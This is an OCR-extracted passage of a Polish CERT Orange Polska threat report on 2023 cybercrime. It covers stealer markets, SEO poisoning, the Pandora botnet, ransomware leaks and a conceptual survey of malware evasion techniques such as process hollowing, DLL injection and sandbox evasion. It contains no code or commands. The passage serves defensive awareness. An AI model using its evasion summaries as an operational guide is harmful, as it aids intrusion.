formatéw archiwodw, takich jak ZIP, RAR, obrazy I1SO, a takze
plikéw HTML i LNK. Coraz czesciej obserwujemy tez jak
operatorzy malware wykorzystuja pliki DLL jako ostatni krok

w taficuchach infekciji inicjowanych przez e-mail i ograniczajg
stosowanie tradycyjnych plikow wykonywalnych EXE. Mniej
wiecej do potowy roku, w atakach na sie¢ Orange uzywane byty
tez pliki OneNote (.one), czyli kolejny, cho¢ mniej znany, sktadnik
pakietu Microsoft Office. Aby zwiekszy¢ bezpieczenstwo OneNote,
Microsoft zdecydowat sie wytgczy¢ 120 rozszerzen plikdw, jakie
byty wczesniej obstugiwane w tym narzedziu. Zaktualizowano
tez komunikat informujgcy uzytkownikow, ze ich ,administrator
zablokowat mozliwo$¢ otwierania tego typu plikéw w programie
OneNote”. Powyzsze akcje, cho¢ nie wykluczyty OneNote z listy
narzedzi, za pomoca ktérych mozna przeprowadzi¢ skuteczny
atak, zdecydowanie zmniejszyty skale wykorzystania go

w drugiej potowie 2023 roku jako formatu plikdw

do przenoszenia poczgtkowego fadunku.

Przestepcy w cyberprzestrzeni kontynuuja

korzystanie z infrastruktury chmurowej w kampaniach
inzynierii spotecznej, aby rozpowszechnia¢ phishing

za posrednictwem ustug udostepniania plikow w chmurze.
Infrastruktura chmurowa umozliwia sprawcom zlewanie sie
z tym, co jest dozwolone w organizacjach, a takze eliminuje
obawy zwigzane z blokada domen, poniewaz state
potaczenie z ustugami chmurowymi jest coraz czesciej niez-
bedne w pracy przedsiebiorstwa.

Tegoroczna tre$¢ rozdziatu o ztosliwym oprogramowaniu
zostata zdominowana przez stealery. Po pierwsze jest

to najczesciej oferowany rodzaj ztosliwego oprogramowania
na rynku Malware-as-a-Service, a przez to najszerzej dostepny.
Po drugie model ustugowy pozwala na korzystanie

z rozwigzania zaréwno przestepcom o niskim poziomie wiedzy
technicznej i niewielkich umiejetnosciach, jak i zorganizowanym
grupom, ktére wykorzystujg oprogramowanie MaaS jako
poczatkowy wektor w wieloetapowej, celowanej infekciji.

Aby zdoby¢ zaufanie potencjalnych klientow, deweloperzy
czesto oferujg bezptatne testy ztosliwego oprogramowania
uzytkownikom forum cyberprzestepczego w celu zebrania
uwag i mozliwie pozytywnych opinii na temat swojego produktu.
Jest to uwazane za gwarancje jakosci. Na niektérych
darkwebowych forach wymagane jest nawet ztozenie depozytu
lub posiadanie odpowiednich opinii od administratora,
moderatora lub doswiadczonego uzytkownika, aby sprzeda¢
produkt lub ustuge.

Autorzy stealerow zwykle bardzo dbajg o rozwdj

i prawidtowe utrzymanie paneli administracyjnych, do ktérych
tadowane sg dane pochodzace z kradziezy. Panele dostepne
dla opfacajgcych licencje uzytkownikdéw, pozwalajg nie tylko
na konfigurowanie ztosliwego oprogramowania, ale tez
przetwarzanie zebranych danych w tym filtrowanie, sortowanie,
analizowanie, znakowanie i pobieranie. W wiekszosci przypadkdw,
operatorzy MaaS, po zgromadzaniu wykradzionych danych
probujg spieniezy¢ je z korzystng stopg zwrotu, a to wymaga
odpowiedniego ich opracowania i wyceny, tak by wyodrebnic
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te najbardziej cenne. Warto$¢ indywidualnych skradzionych
danych rézni sie w zaleznosci od ich typu, jakosci

i dostepnosci. Na przyktad poswiadczenia do konta
bankowego z wysokim saldem bedg znacznie bardziej
wartosciowe niz te do konta w mediach spotecznosciowych.
A im wiecej danych jest dostepnych na temat danej osoby,
tym bardziej rosnie ich cena i tym bardziej ich wiasciciel staje
sie podatny na atak. Kazda partia wykradzionej informacji

z zainfekowanego systemu, czyli ,bota”, moze by¢ oferowana
na sprzedaz jako ,log” na przeznaczonych do tego
platformach, tj. RussianMarket i TwoEasy lub za
posrednictwem foréw darkwebowych czy kanatéw w aplikaciji
Telegram. Informacje najczesciej kradzione za pomocg
stealeréw, to dane przegladarki, w tym poswiadczenia stron
internetowych, zwlaszcza w celu utatwienia przeprowadzania
oszustw i kradziezy na serwisy bankowe i e-commerce.

To nie jest zaskakujace, biorgc pod uwage, ze dane
przegladarki sg skarbnicg wrazliwych informacji, w tym plikow
cookie (zawierajgcych dane uwierzytelnienia dla ses;ji),
przechowywanych kart kredytowych, zestawdw

poswiadczen i historii przegladania. Innym popularnym celem
sg dostepy do portfeli kryptowalutowych, ktére atakujacy
potencjalnie moga wyptaci¢ bezposrednio. Popularne sg
réwniez poswiadczenia aplikacji do czatu, ktore mozna uzyc¢
do inicjowania atakow socjotechnicznych wobec ofiar.
Wykradane sg takze poswiadczenia do serweréw FTP,
serwiséw pocztowych, kont domenowych czy klientéw VPN.
Dane z dwéch pierwszych mozna wykorzysta¢ w kolejnych
tancuchach atakéw ztosliwym oprogramowaniem, a dwoch
ostatnich do pozyskania dostepu do przedsiebiorstwa

i przeprowadzenia celowanego ataku lub sprzedazy takiego
dostepu w korzystniejszej cenie. Takze grupy sponsorowane
z budzetu panstwa moga wykorzysta¢ zgromadzone przez
stealeréw dane do celéw szpiegowskich. Na logi pochodzace
ze stealeréw duze zapotrzebowanie majg takze grupy
ransomware operujace w modelach Ransomware-as-a-Service,
polujgc zwtaszcza na poswiadczenia do ustug RDP, VPN

i firmowych. O tym jaka warto$¢ majg dla operatoréw
ransomware stealery niech swiadczy choéby informacja,

ze operatorzy ransomware LockBit mieli rzekomo oferowac
zakup kodu zrédtowego twércom Raccoon Stealer. Rynki
logdw, takie jak Genesis Market, posiadajg wbudowane
parsowanie jako rozszerzenie przegladarki, co pozwala klientom
na bezproblemowy dostep do identyfikacji urzadzen i danych
ofiar. Inne platformy, takie jak Russian Market i 2easy, sprzedaja
surowe logi, ktére wymagajg analizy w celu zinterpretowania

i wykorzystania ich tresci. Parsowanie logéw zakupionych

na podziemnym rynku moze by¢ zadaniem skomplikowanym,
poniewaz logi sg czesto w réznych formatach i zawierajg duza
ilos¢ danych. To wyzwanie stworzyto korzystny ekosystem
dla os6b sprzedajgcych narzedzia do analizy logdéw autorom
malware, ktorzy wolg sprzedac uporzadkowane dane lub dla
innych kupujacych posiadajgcych duze ilosci surowych logéw.
Podsumowujgc: Dane osobowe sg i beda nadal gtéwnym
celem przestepcow, poniewaz tatwo je uzyskac i zarobic

na nich pienigdze. Dlatego rynki danych pozostang filarem

w przestepczych spotecznosciach. Podkresla to jak wazng
rzeczg zardbwno dla oséb prywatnych jak i duzych instytuciji

i firm, jest zrozumienie wartosci danych i ryzyk jakie wynikajg
z ich nieprawidtowego zabezpieczenia. Wtasciwie
przeprowadzona ocena ryzyka i znajomos¢ zagrozen
pozwalajg na wyciagniecie celnych wnioskéw i wcielenie

ich w zycie. A jak powszechnie wiadomo lepiej wyciggaé
whnioski na cudzych, a nie swoich btedach.
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Trendem przyszio$ci moze by¢ pojawienie sie ré6znych
wzajemnie powigzanych rynkéw dziatajacych w modelu
»Przestepczosc¢-jako-ustuga” (Crime-as-a-Service),

przygotowujacych przekrojowy scenariusz ataku.
Wtedy jedna ustuga zajmuje sie zbieraniem informaciji

i ich profilowaniem, a inne uzyskuja poczatkowy dostep
i realizujg ostateczny cel ataku.

Przestepcy poszukujg réznych rozwigzan i metod w celu
uzyskania nieautoryzowanego dostepu do urzadzen swoich
ofiar. Cho¢ najszerzej wykorzystywanym wektorem dystrybuciji
ztosliwego oprogramowania pozostaje e-mail, coraz czesciej
spotka¢ mozna alternatywne metody takie jak fatszywe
instalatory, reklamy hostowane w serwisach spotecznosciowych
czy wykorzystanie skompromitowanych stron internetowych

do wstrzykniecia ztosliwego kodu.

Kolejng taktyka, ktora zyskuje na popularnosci jest manipulacja
silnikiem optymalizacji wyszukiwarek (SEO od Search Engine
Optimalization). Atak z wykorzystaniem SEO, zwany tez SEO
Poisoning polega na takim pozycjonowaniu ztosliwych
witryn, aby spreparowane przez przestepcow strony
wyswietlac w miejscu widocznym w wynikach wyszukiwana.
Zwieksza to ich wiarygodnos¢ i szanse nieSwiadomego
uzytkownika na interakcje z zainfekowana strona.

Przestepcy wykorzystuja serwisy oferujace crackowane
oprogramowanie, do przekierowania ruchu ofiary na serwisy,

z ktérych mozna pobraé szkodliwe pliki, w tym platformy
GitHub. Gdy nieswiadoma ofiara wpisze w wyszukiwarke fraze
poszukujgca pirackiej wersji dowolnego oprogramowania, na
pierwszych stronach wynikéw wys$wietlaja sie polecane strony,
wsrdd ktorych sg te spreparowane przez przestepcow.

Po wejsciu na taka strone, uzytkownik zostanie poinstruowany
w jaki sposéb powinien pobrac i zainstalowac aplikacje,

a klikniecie w link do pobrania uruchomi kolejne okno

w przegladarce ze skréconym linkiem prowadzgcym

do zahastowanego archiwum na GitHubie. Kiedy ofiara
rozpakuje i uruchomi instalator przy uzyciu podanego

w instrukgji hasta, uruchamia w ten sposéb osadzone w pliku
Zlosliwe oprogramowanie, ktore stuzy do kradziezy haset
dostepowych, portfeli kryptowalut i innych wrazliwych danych
z koncowego urzadzenia.

Historia zagrozen loT, cho¢ ciggle mtoda, pozostaje niezwykle
interesujaca. Od 2016 roku, botnet Mirai stale ewoluowat,
infekujgc urzadzenia internetu rzeczy (IoT) zaréwno na duza,

jak i matg skale. Stat sie jednym z najczesciej spotykanych
zagrozen w cyberprzestrzeni. Cho¢ jego tworcy zostali
zatrzymani, a oryginalny botnet ulegt rozproszeniu, jego

kod przetrwat, a na jego bazie regularnie powstajg nowe
niebezpieczne warianty. Botnet to duza sie¢ przejetych urzadzen
(botdw) zarzadzana przez operatoréw zagrozen. Botnety stuzg
gtéwnie do przeprowadzania atakéw DDoS i kradziezy danych,
ale moga by¢ takze wykorzystywane w innych kampaniach

o charakterze ztosliwym. Jeden z nowych wariantéw Mirai
skoncentrowany byt na zainfekowaniu niedrogich telewizorow
Android TV, uzywanych przez miliony uzytkownikéw, backdoorem
o nazwie Pandora. Celem ataku Pandory sg przystepne cenowo
telewizory z systemem Android TV. Jednym z powododw, dla
ktorych ludzie zaczynajg wybiera¢ tafnsze ustugi streamingowe

i odbiorniki TV, moze by¢ wzrost kosztow utrzymania, a takze
wysokie ceny zwigzane z wieloma gtéwnymi platformami
streamingowymi. Jednak uzytkownicy prébujacy znalezé
»oKazje” ponosza ukryte koszty. Te tansze opcje sprzetowe

czesto sg produkowane bez zwracania uwagi na ich
zabezpieczenia, co bywa cechg wspdlna z innymi
urzadzeniami loT. Pozostawia to je bardziej podatnymi na ataki,
w szczegdlnosci na potencjalne zmiany firmware’u. Dlatego
nawet ci, ktérzy sg Swiadomi i selektywni co do aplikacji,

ktore instalujg, moga otrzymac urzgdzenie z wczesniej
zainstalowanym oprogramowaniem ztosliwym. Pandora

na urzadzenia konncowe moze trafi¢ na dwa sposoby.

W pierwszym przypadku ztosliwe aktualizacje oprogramowan-
ia firmware sg instalowane bezposrednio przez sprzedawcow
urzadzen. Drugg droga dystrybuciji sg ztosliwe aplikacje,

ktore obiecujg dostarczenie uzytkownikowi szerokiej gamy pro-
gramow telewizyjnych i filmdéw do ogladania za darmo, poprzez
konto prébne lub konto premium. Aby zapewni¢ trwato$é

na urzadzeniu, ztosliwe oprogramowanie wbudowuije sie

w ,,boot.img”, krytyczny komponent dla proceséw
rozruchowych systemu Android. Szczegding cechg tego
konkretnego rodzaju zagrozenia jest to, ze jego ztosliwa
funkcjonalnos$¢ nie jest widoczna dla uzytkownika, a praktycznie
nie ma oznak, ze na urzadzeniu zachodzi jakakolwiek ztosliwa
dziatalno$¢, ani ze aplikacja moze by¢ szkodliwa i zuzywaé
zbyt duzo zasobdw. Nawet uprawnienia, ktérych zgda

do uruchomienia, w poréwnaniu do trojanéw bankowych,

nie wydaja sie by¢ przesadnie wygoérowane. Te aplikacje
uruchamiaja w tle ukrytg ustuge ,GoMediaService”, dodawang
do automatycznego uruchamiania sie podczas startu urzadzenia.
W kolejnym etapie ustuga inicjuje program ,,gomediad.so”,
ktory aktywuje szereg plikow, w tym wiersz polecen, a takze
instaluje w systemie backdoora. Pandora ma réznorodne
funkcje szkodliwe, takie jak zdolno$¢ do przeprowadzania
atakow DDoS za pomocg protokotéw TCP i UDP, generowanie
zadan SYN, ICMP i DNS flood, ustanawianie zdalnego

dostepu do zainfekowanego systemu oraz montowanie partycji
systemowych w celu ich modyfikaciji.

Podczas gdy botnet Pandora nabierat tempa, inne botnety
oparte na Mirai, takie jak Gafgyt, BotenaGo, Dofloo, Tsunami
odnotowaty tendencje znizkowe. Wedtug naszych obserwacji
ogodlna liczba zagrozen rejestrowanych w sektorze notuje
spadek mniej wiecej od potowy roku. Botnety oparte na Mirai
odswiezyty liste wykorzystywanych btedéw w drugiej potowie
2023 roku, dodajagc CVE-2023-26801: niedawno zgtoszong luke
w bezpieczenstwie polegajacg na wstrzyknieciu polecen w kilku
routerach LB-LINK. W ostatnich latach ztosliwe oprogramowanie
loT zeslizgneto sie na margines dostrzegalnosci ze wzgledu

na trudnosci z jego wykrywaniem, monitorowaniem i roznymi
technicznymi ograniczeniami w mozliwosci implementaciji
zabezpieczen. Niemniej jednak zagrozenia takie jak Mirai

i jego potomkowie stanowig znaczne ryzyko, poniewaz
inteligentne urzadzenia moga by¢ tatwo wykorzystywane

do tworzenia duzych sieci DDoS, sieci anonimizacji

lub szpiegowania aktywnosci swoich ofiar. Dostepne

sg odpowiednie srodki bezpieczenstwa i standardy ochrony

loT, ale nie wszyscy producenci sg sktonni je wdrozy¢,

czy to z powodu kosztow, zaniedbania czy innych przyczyn.
Ponadto nie mozna oczekiwaé, ze koricowi uzytkownicy stana
sie silnikiem napedowym zmiany, poniewaz sa praktycznie
nieSwiadomi tego, ze ich router czy rejestrator kamery prowadzi
jakas nielegalng dziatalno$é, tak dtugo jak nie wptywa to

na ich doswiadczenie.

Ataki ransomware nadal zwigzane sg z najgrozniejszym
dla firm i instytucji rodzajem przestepczosci komputerowej
w 2023 roku. Utrwalonym juz standardem dziatania grup

stojacych za ransomware jest kradziez, szyfrowanie dostepu
do danych oraz wystawianie zgdania okupu, a takze wywieranie
presji na ofiary poprzez wypuszczanie do sieci kontrolowanych
wyciekow. W 2023 roku przeprowadzano zaréwno ataki

na duze korporacje, mniejsze przedsiebiorstwa, jak i osoby
prywatne. W niektérych przypadkach grupy ransomware
dziatajgce na zlecenie panstwowej agenciji lub organizaciji
przestepczej przeprowadzaly ataki na cele strategiczne, takie
jak instytucje rzadowe czy tafncuchy dostaw oprogramowania.
W innych przypadkach, grupy ransomware dziataty bardziej
przypadkowo, co moze wskazywaé, ze obiektami atakdw byty
te firmy o najnizszym poziomie zabezpieczen lub te, do ktérych
danych dostepowych grupy ransomware weszty w posiadanie
kupujac je na czarnym rynku.

W ciggu ostatnich kilku lat do sieci zostaty opublikowane

kody Zrédtowe oprogramowania ransomware wykorzystywane
wczesniej przez aktorow zagrozen, takie jak Babuk, Conti

i LockBit 3.0. Spowodowato to uruchomienie licznych nowych
wariantéw i rodzin ztosliwego oprogramowania, utatwiajgc

tym samym amatorom rozpoczecie wtasnego, opartego

na ransomware cyberbiznesu. Kod zrédtowy Babuk, znany
takze jako Babyk, stat sie publiczny pod koniec 2021 roku.

Ale ze wzgledu na zdolno$¢ atakowania systemoéw Linux

i VMware ESXi, jego popularnos¢ od tego czasu wcale nie
zmalata. Nowe rodziny uzywajgce kodu to Babuka to Nokoyawa,
Buhti, Rorschach czy RaGroup. Ta ostatnia z grup, data sie
zapamietac takze w Polsce w wyniku udanego ataku
przeprowadzonego na jedno z najwiekszych ogdlnopolskich
sieci laboratoriow medycznych - firme ALAB. W listopadzie

i grudniu RaGroup przeprowadzita kilkuetapowe ujawnianie
danych, kiedy najpierw w listopadzie wypuscili do sieci wyniki
badan ponad 50 tysiecy Polakéw, a w grudniu po nieudanych
prébach wymuszenia okupu, kolejne 220 tysiecy wynikéw

z unikalnymi numerami PESEL klientow lub pracownikow
ALABuU. W 2023 uzytkownicy polskiego internetu mieli powody
do zmartwien nie tylko w wyniku tego wycieku. Juz pod koniec
maja na platformie leakbase.cc doszto do opublikowania

6 milionéw rekordow z poswiadczeniami polskich uzytkownikdw
zagregowanych w wyniku réznych udanych atakéw z uzyciem
stealerow.

Po dtugotrwatym spadku i utrzymywaniu sie ponizej 20 000 USD
za BTC przez wiekszo$¢ listopada i grudnia 2022 roku,
kryptowaluta BitCoin wzrosta do poziomu 30 000 USD

w potowie kwietnia 2023 i utrzymywata sie w okolicach tego
poziomu do korca roku. Cho¢ nadal sg to wartosci dalekie

od jego wczesniejszych szczytdw, to wydaje sie, ze bitcoin
ustabilizowat swojg warto$¢, nawet pomimo fali bankructw

i upadkéw kryptowalutowych funduszy hedgingowych, takich
jak serwis FTX. Jednak w tym samym okresie trend zagrozen
zwigzanym z kryptowalutami nie tylko nie przyrdst, ale wyraznie
sie zmniejszyt. Rodzi to proste, ale zasadne pytanie - dlaczego?
Czy cyberprzestepcy po prostu zrezygnowali z kopania
kryptowalut, czy stoi za tym cos wiecej? Z jednej strony
niestabilne kursy wymiany kryptowalut moga dziataé
odstraszajgco dla cyberprzestepcéw, podobnie jak rézne
zorganizowane przedsiewziecia ukierunkowane na zwalczanie
cyberprzestepczosci zwigzanej z krypto. Z drugiej strony
patrzenie na rynek kryptowalut tylko w kontekscie niechcianych
koparek, pracujacych na urzadzeniach ofiary na konto portfela
przestepcy moze by¢ niewtasciwe. Jako ze celem wigkszosci
operacji przestepczych jest pozyskanie zysku w wyniku
przeprowadzonych na urzgdzeniu ofiary operaciji, nie dziwi,
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ze aktorzy zagrozen chcg maksymalizowaé swoje zyski.

A skoro dostarczenie niechcianej koparki kryptowalut

na stacje ofiary wymusza na atakujacych przeprowadzenie

tych samych krokéw co na innych operatorach ztosliwego
oprogramowania, to jaki sens ogranicza¢ sie tylko do jednego
narzedzia, zamiast skorzysta¢ z oprogramowania o szerszych
mozliwosciach? Tym bardziej, ze wiekszo$¢ dostepnych na rynku
ustugowym stealeréw wyposazonych jest w moduty do kradziezy
portfeli kryptowalut nie tylko w srodowisku Windows, ale réwniez
Androida (ClipBanker). Innym sposobem rozprzestrzeniania
ztosliwego oprogramowania zwigzanego z kryptowalutami

sg botnety takie jak Amadey czy Tofsee, ktore specjalizujg

sie w dostarczaniu na zainfekowane boty koparek kryptowalut
i/lub modutéw wykradajgcych dostep do znalezionych juz

na stacjach portfeli. Wydaje sie, ze spadek krajobrazu zagrozen
zwigzanego z kryptowalutami, ktérego nawet obecny powrét
bitcoina do formy nie zdotat odwrécié, bedzie sie utrzymywat.
Niemniej jednak model dziatania cyberprzestepcéw oznacza,

ze tak dtugo, jak pozyskiwanie kryptowalut bedzie optacalne

tak diugo bedziemy je obserwowac.

Rok 2023 przynidst liczne wyzwania dla sektora
cyberbezpieczenstwa, stale ksztattowane przez rozwdj
technologii i szybkos$¢ z jakg obie strony cyfrowej barykady
sg w stanie zaadaptowac sie do zmian. Ataki na taricuchy
dostaw, podatnosci zero lub 1day, oszustwa internetowe,
wycieki danych i inne formy atakoéw wymagajg podjecia
zdecydowanych dziatan ze strony panstw, organizaciji,

firm i uzytkownikéw indywidualnych.

Najczesciej wystepujace
zdarzenia infekcji

w rozktadzie procentowym

CERT Orange Polska

Coraz wazniejsze staje sie regularne ewaluowanie swoich
zabezpieczen nie tylko w formie audytow, weryfikujacych
obecnos¢ kluczowych procesow czy procedur, ale rowniez
poprzez aktywne i pasywne testowanie wiasnego
bezpieczenstwa z wykorzystaniem skanerow podatnosci,
narzedzi pentesterskich, danych OSINT-owych czy poprzez
proby odtworzenia technik, taktyk i procedur stosowanych
przez cyberprzestepcow w tancuchach atakow.

Réwniez indywidualni uzytkownicy internetu, jesli nie chca

pasé ofiarg oszustwa, w efekcie kolejnych wyciekdéw danych
beda w gruncie rzeczy zmuszani do kontroli swoich

poswiadczen i dostepow do kluczowych dla siebie kont

i serwisow w tym docenienia zalet wynikajacych ze stosowania
wieloetapowego uwierzytelniania czy znajomosci podstawowych
zasad bezpieczenstwa pomagajacych w uniknieciu infekcji.

Warto przy tym pamietac, ze walka z cyberprzestepczoscia nie
jest wytgcznie domeng przeznaczonych do tego stuzb, organizaciji
czy zespotdw bezpieczenstwa, a zacza¢ moze sie w twoim domu.
Jesli tylko poswiecisz kilka minut na poprawne skonfigurowanie
rutera, wtgczenie dwusktadnikowego uwierzytelniania do swoich
aplikacji webowych czy przeczytania kilku rekomendacji

i artykutow i sledzenia ostrzezen o aktualnych zagrozeniach,

ktére publikowane sg przez profesjonalne zespoty bezpieczenstwa
réwniez w Polsce.

Piotr Kowalczyk

Agent Tesla.RAT
IOT.Mirai
RedLine.Stealer
Formbook.Stealer

B Quakbot.Banker

B Snake.Keylogger
Remcos.RAT
njrat.Rat
Lokibot.Stealer
Inne

yberprzestepcy probujg omijac bezpieczenstwo .

Zabawka w kotka i myszke, czyli w jaki sposob
cyberprzestepcy probuja omija¢ bezpieczenstwo

Walka miedzy cyberprzestepcami atakujacymi systemy
zabezpieczen, a starajacymi sie im przeciwdziataé
pracownikami bezpieczenstwa budzi skojarzenia

z popularna dyskusja o pierwszenstwie kury albo jajka.
Niekiedy trudno jest okresli¢ czy to przestepcy probuja
w tym nieustajacym wyscigu wyprzedzi¢ i ominaé
rozwiazania bezpieczenstwa, czy moze jest na odwrot
i to bezpieczenstwo stale goni rozwijajace sie techniki
stosowane przez aktoréw zagrozen. Jedno jest

pewne - wraz z postepem technologii taktyki stosowane
przez obie strony cyfrowego $wiata rozwijaja w coraz
wiekszym tempie. Rowniez na stronach naszego
raportu opisaliSmy kilka przypadkoéw kampanii

w ktorych atakujacy siegali po metody unikania
wykrycia w celu zwiekszenia powodzenia swoich
operaciji. Ponizej postaram sie wymienic, opisa¢

i je usystematyzowac:

Metody wykrywania ztosliwego oprogramowania
mozemy podzieli¢ na:

Detekcja sygnaturowa. Systemy detekcji oparte
na sygnaturach dziataja przez poréwnywanie plikow
i procesow z baza danych znanych sygnatur ztosliwych.

Detekcja behawioralna. Behawioralne systemy
zabezpieczen, polegaja na rozpoznawaniu cech
charakterystycznych w zachowaniu ztosliwego
oprogramowania poprzez uruchomienie potencjalnie
podejrzanego oprogramowania w odizolowanym
Srodowisku typu Sandbox.

Analiza statyczna. Pod hastem analizy statycznej
mieszcza sie wszystkie operacje jakie badacz moze
przeprowadzi¢ bez czasochtonnej inzynierii wstecznej
lub uruchamiana go w monitorowanym srodowisku.
Obejmuje ona zbadanie sygnatur, metadanych pliku,
nagtéwkoéw pliku wykonywalnego, bibliotek, podpiséw,
sekciji i tancuchow znakow, w ktérych mozna znalez¢
przydatne artefakty, a nawet zagniezdzona konfiguracje
ztosliwego oprogramowania.

Analiza dynamiczna opiera sie na wykrywaniu cech
wskazujacych na ztosliwag aktywnos$¢ poprzez
monitorowanie jej zachowania w zywym systemie.
Mozna ja realizowaé uruchamiajac ztosliwe
oprogramowanie w srodowisku sandbox, ale takze
dochodzi do niej (prawie) kazdego dnia, gdy ztosliwe
oprogramowanie wykrywane jest aktywnie w systemach
ofiar przez narzedzia prewencyjne, pasywnie lub

w nastepstwie skutecznej infekcji. W ramach analizy
dynamicznej monitorowana jest m.in. aktywnos¢
malware’u w systemie, inicjowany przez niego ruch
sieciowy, Sledzenie przeptywow ztosliwego
oprogramowania i analiza pamieci.

Inzynieria wsteczna lub odwrotna to proces, w ktérym
ztosliwe oprogramowanie podlega dekonstrukciji
poszczegolnych elementéw w celu wyodrebnienia z nich
informacji pozwalajacych ustali¢ sposob zaprojektowania,
cel dziatania i funkcje badanej aplikaciji.

Owocem pracy analizy dynamicznej i inzynierii wstecznej
jest wypracowana przez MITRE i stale rozwijana przez
analitykow matryca MITRE Attack, zawierajaca zestaw
TTP, czyli taktyk, technik i procedur stosowanych przez
ztosliwe oprogramowanie w udokumentowanych atakach.
Ponizej przyblize te z nich, ktérych gtéwnym zadaniem
jest oszukanie lub ominiecie jednej lub wielu naraz metod
wykrywania.

= Kryptery i pakery - kryptery skupiaja sie na
szyfrowaniu kodu malware i generowaniu metody
deszyfrowania, ktéra moze odtworzy¢ oryginalny
ztosliwy tadunek w czasie wykonania. Pakery z kolei
to narzedzia, ktére kompresuja i szyfruja kod malware,
tworzac nowy plik wykonywalny, ktory do uruchomienia
wymaga okreslonej metody rozpakowywania przed
ujawnieniem oryginalnego ztosliwego kodu. Obydwie
techniki tworza dynamicznie zmieniajace sie
w krétkim czasie wersje ztosliwych plikow,
co utrudnia systemom
zabezpieczen wykrycie i zablokowanie ich operacii.
Malware polimorficzny - odnosi sie do rodzaju
ztosliwego oprogramowania, ktére moze zmienia¢
swoj kod lub wyglad za kazdym razem, gdy zainfekuje
nowy system. Ta technika obejmuje zmienianie
struktury lub metody szyfrowania ztosliwego
oprogramowania, tworzac liczne unikalne warianty,
ktore unikaja statycznej detekcji. Krok dalej ida
rozwiazania metamorficzne modyfikujac nie tylko
swoje wyglad, ale takze zmieniajac swoj kod
zroditowy przy jednoczesnym utrzymaniu ztosliwej
funkcjonalnosci. Takie dynamiczne przeksztatcenie
zmusza analitykow bezpieczenstwa do budowania
detekcji na bardziej zaawansowanej analizie
behawioralnej i heurystyce.
Zaciemnienie kodu - polega na celowym
manipulowaniu struktura, logika i warstwa prezentaciji
kodu, aby uczyni¢ go skomplikowanym i zawitym.
Przeksztatcajac kod w ztozona i nietypowa forme,
malware ukrywa rozpoznawalne wzorce, zmieniajac
jednoczesnie swoja sygnature. Zaciemnienie mozna
uzyskac¢ wypetniajac kod losowymi ciagami znakow,
ysmartwymi” funkcjami albo wersami wyciagnietymi
z dramatu Szekspira
Process Hollowing - technika, w ktorej ztosliwy
kod ingeruje w prawidtowy proces systemowy,
aby podmieni¢ jego kod tadunkiem ztosliwego
oprogramowania. Atakujacy moga stworzy¢ nowa
instancje legalnego procesu (np. svchost.exe,
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explorer.exe) w zawieszonym stanie, zastapic jego
pamieé ztosliwym kodem, a nastepnie wznowié¢ proces.
Dzieki temu wydaje sie, ze ztosliwy kod jest tylko
czescia zaufanego procesu systemowego.
Sprawdzanie srodowiska — malware, monitorujac
wiasciwosci systemu takie jak jego konfiguracja,
lista zainstalowanego oprogramowania, ustawienia
sieciowe czy obecnos¢ narzedzi zabezpieczen
moze probowa¢ ustali¢, czy dziata w Srodowisku
kontrolowanym przez badaczy bezpieczenstwa

i op6znic lub catkowicie zatrzymac uruchomienie
swoich funkciji.

Unikanie srodowiska Sandbox - badacze
bezpieczenstwa w ramach analizy dynamicznej,
uruchamiaja ztosliwe oprogramowanie

w odizolowanym srodowisku wirtualnym w celu
analizy jego zachowania. Przestepcy w swoich
narzedziach przewidzieli i to, sprawdzajac

po wiasciwosciach takich jak nazwy plikow, wpisy
w rejestrze, konfiguracje sieciowe czy nawet uzyte
nazwy uzytkownikow czy urzadzenie, na ktorym
ma sie uruchomi¢ ma cechy charakterystyczne

dla maszyny wirtualnej.

Antydebuggowanie - ztosliwe oprogramowanie
przed uruchomieniem odpowiadajacych funkcji

z wykorzystaniem tych technik sprawdzaja czy nie
sa uruchamiane w ramach narzedzi do sprawdzania
btedow i struktury kodu.

DLL Injection - to technika, w ktorej ztosliwe
oprogramowanie wstrzykuje niestandardowa
biblioteke dynamiczna (DLL) bezposrednio

do pamieci procesu. Wstrzyknieta DLL

ma na celu wykonanie kodu atakujacego.

Poniewaz kod znajduje sie w pamieci i nie

dotyka systemu plikow, pozostaje ukryty

przed tradycyjnymi skanami opartymi na plikach.
Code injection - przestepcy moga takze wstrzykiwaé
ztosliwy kod do przestrzeni pamieci dziatajacego
procesu, efektywnie podszywajac sie pod legalny
proces. Roznica miedzy Code Injection, a technika
Process Hollowing opiera sie na tym, ze Process
Hollowing podmienia zawartos¢ kodu niegroznego
procesu ze swoim.

Thread Injection - to operacja, w ktérej malware
tworzy nowy watek w ramach prawidtowego procesu
i wstrzykuje swoj tadunek do tego watku. Pozwala
to na wykorzystanie zasobow i uprawnien
prawidiowego procesu.

Uruchamianie w pamieci — odnosi sie do spektrum
technik w ktorych operatorzy malware

uruchamiaja swoje oprogramowanie bezposrednio
do pamieci systemu, nie pozostawiajac sladow swojej
obecnosci w systemie plikow.

Techniki LOLbins (Living-of-the-Land) — pod tym
hastem kryje sie wykorzystanie istniejacych

w Srodowisku ofiary, zaufanych narzedzi i procesow
systemowych (Powershell, WMI, wiersz polecen)

do przeprowadzenia ztosliwych aktywnosci,

bez koniecznosci tworzenia wiasnych plikow,

ktoére moga zaalarmowac systemy wykrywania.

= Ataki oparte na rejestrze - rejestr systemu Windows
stuzy do przechowywania ustawien konfiguracyjnych,
preferenciji uzytkownika i informaciji systemowych.
Modyfikujac legalne klucze i wartosci rejestru,
atakujacy moze osiagnac¢ trwatos¢, eskalowaé
uprawnienia czy wykona¢ ztosliwe polecenia.

= Binary padding to omawiana juz wczesniej technika
stosowana przez atakujacych do manipulowania
rozmiarem i struktura tadunku w taki sposob,

aby unikna¢ wykrycia przez rozwiazania bezpieczenstwa.

Powyzsze przyktady pokazuja jak kluczowe znaczenie

w Swiecie cyberbezpieczenstwa maja zdolnos¢é

do adaptaciji i ciagte doskonalenie. Aby pozostaé krok
przed przeciwnikiem, organizacje musza zrozumiec,

Ze rozwiagzania od dostawcow bezpieczenstwa to tylko
jedno ogniwo w catym ukiadzie ksztattowania
zabezpieczen i poleganie wytacznie na nich to ryzykowna
przedsiewziecie. Osobiscie rekomenduje holistyczne
podejscie, w ktorym do narzedzi aktywnej detekgcji, stale
podnoszone sa mozliwo$ci monitorowania, poprawiana
jest architektura bezpieczenstwa systemow i sieci,

a regularnej rewaluacji poddaje sie zaimplementowane
standardy, procedury i procesy. Istotne sa takze dziatania
proaktywne ktore obejmuja threat hunting czy
prowadzone regularne testy penetracyjne. Te zadania
ujawniaja podatnosci, doskonala obrone i zapewniaja,

Ze systemy, a zwtaszcza dojrzato$¢ i Swiadomos¢é
bezpieczenstwa w organizacji rozwija sie rownolegle

ze zmiennym krajobrazem zagrozen.

Rodzaje zagrozen
